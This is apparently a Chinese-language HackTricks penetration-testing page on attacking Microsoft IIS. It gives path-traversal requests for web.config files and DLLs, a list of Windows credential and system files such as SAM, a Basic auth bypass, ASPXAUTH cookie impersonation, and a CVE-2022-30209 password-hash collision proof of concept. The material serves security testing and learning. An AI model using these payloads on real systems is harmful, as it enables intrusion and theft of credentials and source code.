> For the complete documentation index, see [llms.txt](https://hacktricks.xsx.tw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacktricks.xsx.tw/network-services-pentesting/pentesting-web/iis-internet-information-services.md).

# IIS - Internet Information Services

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

### [WhiteIntel](https://whiteintel.io)

<figure><img src="/files/YEhfJ0lgKxxdqFKA17yB" alt=""><figcaption></figcaption></figure>

[**WhiteIntel**](https://whiteintel.io)是一个由**暗网**支持的搜索引擎，提供**免费**功能，用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。

WhiteIntel的主要目标是打击由窃取信息恶意软件导致的账户劫持和勒索软件攻击。

您可以访问他们的网站并免费尝试他们的引擎：

{% embed url="<https://whiteintel.io>" %}

***

测试可执行文件扩展名：

* asp
* aspx
* config
* php

## 内部IP地址泄露

在任何收到302响应的IIS服务器上，您可以尝试剥离主机头并使用HTTP/1.0，在响应中，Location头可能指向内部IP地址：

```
nc -v domain.com 80
openssl s_client -connect domain.com:443
```

披露内部IP的响应：

```
GET / HTTP/1.0

HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016
```

## 执行 .config 文件

您可以上传 .config 文件并使用它们来执行代码。一种方法是将代码附加到文件末尾的 HTML 注释中：[在此下载示例](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)

有关更多信息和利用此漏洞的技术，请查看[此处](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)

## IIS 发现暴力破解

下载我创建的列表：

{% file src="/files/1pgjLQ1uMK9NCeeixVq9" %}

该列表是通过合并以下列表的内容创建的：

<https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt>\
<http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html>\
<https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt>\
<https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt>\
<https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt>\
<https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt>

请在不添加任何扩展名的情况下使用，需要扩展名的文件已经包含在内。

## 路径遍历

### 泄露源代码

查看完整的解说：<https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html>

{% hint style="info" %}
简而言之，应用程序的文件夹中有几个包含对 "**assemblyIdentity**" 文件和 "**namespaces**" 的引用的 web.config 文件。有了这些信息，就可以知道 **可执行文件的位置** 并下载它们。\
从 **下载的 Dlls** 中，还可以找到应该尝试访问并获取 web.config 文件以查找新的 namespaces 和 assemblyIdentity 的 **新 namespaces**。\
此外，文件 **connectionstrings.config** 和 **global.asax** 可能包含有趣的信息。\\
{% endhint %}

在 **.Net MVC 应用程序** 中，**web.config** 文件通过 **"assemblyIdentity"** XML 标记指定应用程序依赖的每个二进制文件。

### **探索二进制文件**

下面是访问 **web.config** 文件的示例：

```markup
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded
```

此请求显示了各种设置和依赖项，例如：

* **EntityFramework** 版本
* 用于网页、客户端验证和 JavaScript 的 **AppSettings**
* 用于身份验证和运行时的 **System.web** 配置
* **System.webServer** 模块设置
* 用于许多库的 **Runtime** 组件绑定，如 **Microsoft.Owin**、**Newtonsoft.Json** 和 **System.Web.Mvc**

这些设置表明某些文件，如 **/bin/WebGrease.dll**，位于应用程序的 /bin 文件夹中。

### **根目录文件**

根目录中的文件，如 **/global.asax** 和 **/connectionstrings.config**（其中包含敏感密码），对应用程序的配置和操作至关重要。

### **命名空间和 Web.Config**

MVC 应用程序还为特定命名空间定义了额外的 **web.config 文件**，以避免在每个文件中重复声明，如通过请求下载另一个 **web.config** 文件所示：

```markup
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded
```

### **下载 DLLs**

提到自定义命名空间暗示着在 /bin 目录中存在一个名为 "**WebApplication1**" 的 DLL。接着展示了下载 **WebApplication1.dll** 的请求：

```markup
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded
```

这表明在/bin目录中存在其他重要的DLL，比如**System.Web.Mvc.dll**和**System.Web.Optimization.dll**。

在一个场景中，一个DLL导入了一个名为**WebApplication1.Areas.Minded**的命名空间，攻击者可能推断出在可预测路径中存在其他web.config文件，比如\*\*/area-name/Views/**，其中包含特定配置和对/bin文件夹中其他DLL的引用。例如，对**/Minded/Views/web.config\*\*的请求可以显示配置和命名空间，表明另一个DLL **WebApplication1.AdditionalFeatures.dll**的存在。

### 常见文件

来自[这里](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)

```
C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml
```

## HTTPAPI 2.0 404错误

如果你看到如下错误：

![](https://github.com/xsxtw/hacktricks/blob/cn/.gitbook/assets/image%20\(446\)%20\(1\)%20\(2\)%20\(2\)%20\(3\)%20\(3\)%20\(2\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(10\)%20\(10\)%20\(2\).png)

这意味着服务器**没有收到正确的域名**在Host标头中。\
为了访问网页，你可以查看提供的**SSL证书**，也许你可以在其中找到域名/子域名。如果找不到，你可能需要**暴力破解虚拟主机**直到找到正确的一个。

## 值得寻找的旧IIS漏洞

### Microsoft IIS波浪符“\~”漏洞/特性 - 短文件/文件夹名泄露

你可以尝试使用这个**技术**来**枚举**每个发现的文件夹中的文件和文件夹（即使需要基本身份验证）。\
这种技术的主要限制是，如果服务器存在漏洞，**它只能找到每个文件/文件夹名称的前6个字母和文件扩展名的前3个字母**。

你可以使用<https://github.com/irsdl/IIS-ShortName-Scanner>来测试这个漏洞：`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`

![](/files/ICRI3VTK5OcLmHmVcdpY)

原始研究：<https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf>

你也可以使用**metasploit**：`use scanner/http/iis_shortname_scanner`

### 基本身份验证绕过

尝试绕过基本身份验证（**IIS 7.5**）尝试访问：`/admin:$i30:$INDEX_ALLOCATION/admin.php`或`/admin::$INDEX_ALLOCATION/admin.php`

你可以尝试**结合**这个**漏洞**和上一个来发现新的**文件夹**并**绕过**身份验证。

## ASP.NET Trace.AXD启用调试

ASP.NET包括一个调试模式，其文件名为`trace.axd`。

它会详细记录一段时间内发送到应用程序的所有请求。

这些信息包括远程客户端IP、会话ID、所有请求和响应cookie、物理路径、源代码信息，甚至可能包括用户名和密码。

<https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/>

![Screenshot 2021-03-30 at 13 19 11](https://user-images.githubusercontent.com/31736688/112974448-2690b000-915b-11eb-896c-f41c27c44286.png)

## ASPXAUTH Cookie

ASPXAUTH使用以下信息：

* **`validationKey`**（字符串）：用于签名验证的十六进制编码密钥。
* **`decryptionMethod`**（字符串）：（默认为“AES”）。
* **`decryptionIV`**（字符串）：十六进制编码的初始化向量（默认为零向量）。
* **`decryptionKey`**（字符串）：用于解密的十六进制编码密钥。

然而，一些人会使用这些参数的**默认值**，并将用户的**电子邮件作为cookie**。因此，如果你能找到一个使用ASPXAUTH cookie的**相同平台**的网站，并在受攻击的服务器上创建一个使用要冒充用户的用户的电子邮件的用户，你可能能够在第一个服务器中使用第二个服务器的cookie并冒充用户。\
这种攻击在这个[**writeup**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19)中起作用。

## IIS身份验证绕过缓存密码（CVE-2022-30209） <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>

[完整报告在此处](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html)：代码中的一个错误**未正确检查用户提供的密码**，因此，如果攻击者的**密码哈希命中已经在缓存中的密钥**，将能够以该用户身份登录。

```python
# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j

assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')

# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized

# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK
```

### [WhiteIntel](https://whiteintel.io)

<figure><img src="/files/YEhfJ0lgKxxdqFKA17yB" alt=""><figcaption></figcaption></figure>

[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎，提供免费功能，用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。

WhiteIntel的主要目标是打击由窃取信息恶意软件导致的账户劫持和勒索软件攻击。

您可以访问他们的网站并免费尝试他们的引擎：

{% embed url="<https://whiteintel.io>" %}

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>
